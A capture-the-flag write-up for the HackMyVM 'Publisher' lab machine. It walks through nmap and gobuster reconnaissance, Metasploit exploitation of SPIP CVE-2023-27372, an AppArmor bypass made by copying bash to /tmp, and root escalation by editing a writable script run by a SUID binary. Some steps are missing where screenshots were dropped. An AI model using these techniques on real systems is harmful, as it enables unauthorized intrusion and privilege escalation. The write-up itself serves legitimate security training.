In this write-up, I will guide you through the steps I took to complete the HackMyVM - Publisher CTF challenge. The objective is to gain root access to the target machine by exploiting identified vulnerabilities. Checkout the video .
TL;DR
Reconnaissance
Network/Port Scanning (Nmap)
Command:
nmap -sV -sC -vv -oA publisher 172.16.101.88
Explanation:
nmap: Tool used to scan network and ports to discover which services are running.
-sV: Perform version detection of services.
-sC: Scan using default scripts.
-oA: Output in filename "publisher".
172.16.101.88: IP address of Publisher VM on my network.
Output:
Nmap scan report for publisher (172.16.101.92)
Host is up, received syn-ack (0.0090s latency).
rDNS record for 172.16.101.92: publisher.home.com
Scanned at 2024-07-05 09:57:01 PDT for 6s
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMc4hLykriw3nBOsKHJK1Y6eauB8OllfLLlztbB4tu4c9cO8qyOXSfZaCcb92uq/Y3u02PPHWq2yXOLPler1AFGVhuSfIpokEnT2jgQzKL63uJMZtoFzL3RW8DAzunrHhi/nQqo8sw7wDCiIN9s4PDrAXmP6YXQ5ekK30om9kd5jHG6xJ+/gIThU4ODr/pHAqr28bSpuHQdgphSjmeShDMg8wu8Kk/B0bL2oEvVxaNNWYWc1qHzdgjV5HPtq6z3MEsLYzSiwxcjDJ+EnL564tJqej6R69mjII1uHStkrmewzpiYTBRdgi9A3Yb+x8NxervECFhUR2MoR1zD+0UJbRA2v1LQaGg9oYnYXNq3Lc5c4aXz638wAUtLtw2SwTvPxDrlCmDVtUhQFDhyFOu9bSmPY0oGH5To8niazWcTsCZlx2tpQLhF/gS3jP/fVw+H6Eyz/yge3RYeyTv3ehV6vXHAGuQLvkqhT6QS21PLzvM7bCqmo1YIqHfT2DLi7jZxdk=
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJNL/iO8JI5DrcvPDFlmqtX/lzemir7W+WegC7hpoYpkPES6q+0/p4B2CgDD0Xr1AgUmLkUhe2+mIJ9odtlWW30=
| 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFG/Wi4PUTjReEdk2K4aFMi8WzesipJ0bp0iI0FM8AfE
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Publisher's Pulse: SPIP Insights & Tips
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 5 09:57:07 2024 -- 1 IP address (1 host up) scanned in 6.79 seconds
Analysis:
The scan reveals two open ports: SSH (22) and HTTP (80). The HTTP server is running Apache 2.4.41 on Ubuntu. Let's investigate the web server for potential vulnerabilities.
Directory Brute-forcing (Gobuster)
While we brute force the directory of the website, we can check out the website on a browser.
gobuster dir -u http://172.16.101.88 -w /SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
Note: I have setup an alias to run gobuster inside a docker container.
Alias:
alias gobuster='docker run -it --rm --name gobuster -v /home/ayush/Tools/SecLists/:/SecLists ghcr.io/oj/gobuster'
Explanation:
dir: Mode of operation indicating directory/file enumeration.
-u http://172.16.101.88: Base URL of the target web server to scan.
-w /SecLists/Discovery/Web-Content/directory-list-2.3-big.txt: Path of word list to use.
The /spip directory looks interesting as the website is related to SPIP. Let's investigate further for SPIP-related vulnerabilities.
And here is the web page:
The whole web page is about SPIP and our directory brute force also revealed a directory called /spip in the website which looks like:
Exploitation
Exploiting The Vulnerability (Metasploit)
CVE-2023-27372
We will be using Metasploit to exploit this vulnerability.
Command:
msfconsole
search CVE-2023-27372
use exploit/unix/webapp/spip_rce_form
set TARGETURI /spip/
Set the options and run the exploit.
Note: Make sure to set the TARGETURI as /spip
Meterpreter Session:
Analysis:
We successfully exploited the SPIP vulnerability and obtained a Meterpreter session. Next, we will use Linpeas for further enumeration and privilege escalation.
Background the meterpreter session using the command:
We see that the id_rsa.pub is present in the authorized_keys so we can copy the Private Key to your own .ssh directory to SSH into the machine using the think user.
Upon closer inspection, we see that it is an other file which we are not allowed to execute. Which means /usr/sbin/run_container is trying to execute /opt/run_container.sh.
Let's check what permissions we have for the /opt/run_container.sh file.
ls -l /opt/run_container.sh
-rwxrwxrwx 1 root root 1715 Mar 29 13:25 /opt/run_container.sh
We can see that we have all the permissions, and yet we are not able to execute the script. That means some other software (like an Endpoint Detection and Response) is not allowing us to execute the script.
Let there be ChatGPT, to solve our problems:
So, on checking out this AppArmor thing, we see that its rules are saved in /etc/apparmor.d
It is not necessary that we may be using the Bash shell, so lets checkout which one it is. Command:
echo $SHELL
Now lets checkout what we are not allowed to do because of AppArmor.
Line 12 denies read (r) access to the /opt/ directory and its contents. Line 13 denies read (r), write (w), and execute (x) access (rwx) to all files and subdirectories (/opt/**) within the /opt/ directory. Line 14 gives only some permissions to the /usr/bin directory and its contents.
So from the above, specifically Line 14, we understand that even if we call other shell binaries (bash, sh), it will have constraints.
So, instead we can just copy the bash binary to a directory which gives us all the permissions.
Checking which directory gives us all permission,
we see that /tmp is the one.
Let's try copying bash to /tmp and running it to read the /opt/run_container.sh file.
cd /tmp
cp /usr/bin/bash .
./bash -ipc "cat /opt/run_container.sh"
#!/bin/bash
# Function to list Docker containers
list_containers() {
if [ -z "$(docker ps -aq)" ]; then
docker run -d --restart always -p 8000:8000 -v /home/think:/home/think 4b5aec41d6ef;
fi
echo "List of Docker containers:"
docker ps -a --format "ID: {{.ID}} | Name: {{.Names}} | Status: {{.Status}}"
echo ""
}
# Function to prompt user for container ID
prompt_container_id() {
read -p "Enter the ID of the container or leave blank to create a new one: " container_id
validate_container_id "$container_id"
}
# Function to display options and perform actions
select_action() {
echo ""
echo "OPTIONS:"
local container_id="$1"
PS3="Choose an action for a container: "
options=("Start Container" "Stop Container" "Restart Container" "Create Container" "Quit")
select opt in "${options[@]}"; do
case $REPLY in
1) docker start "$container_id"; break ;;
2) if [ $(docker ps -q | wc -l) -lt 2 ]; then
echo "No enough containers are currently running."
exit 1
fi
docker stop "$container_id"
break ;;
3) docker restart "$container_id"; break ;;
4) echo "Creating a new container..."
docker run -d --restart always -p 80:80 -v /home/think:/home/think spip-image:latest
break ;;
5) echo "Exiting..."; exit ;;
*) echo "Invalid option. Please choose a valid option." ;;
esac
done
}
# Main script execution
list_containers
prompt_container_id # Get the container ID from prompt_container_id function
select_action "$container_id" # Pass the container ID to select_action function
And thus we have the content of the file.
Since the file runs as the root user (when called by /usr/sbin/run_container), we just need to call a shell binary (bash, sh, zsh, ash, fish, etc) from it to get the root shell.
So, we edit the /opt/run_container.sh as such:
/tmp/bash
nano /opt/run_container.sh
Now, run /usr/sbin/run_container and you will have root access.
And finally, we can read the root flag:
cat /root/root.txt
A basic Google search of SPIP vulnerabilities gives us the exploit of .
Note: Install Linpeas modules in Metasploit using the instructions .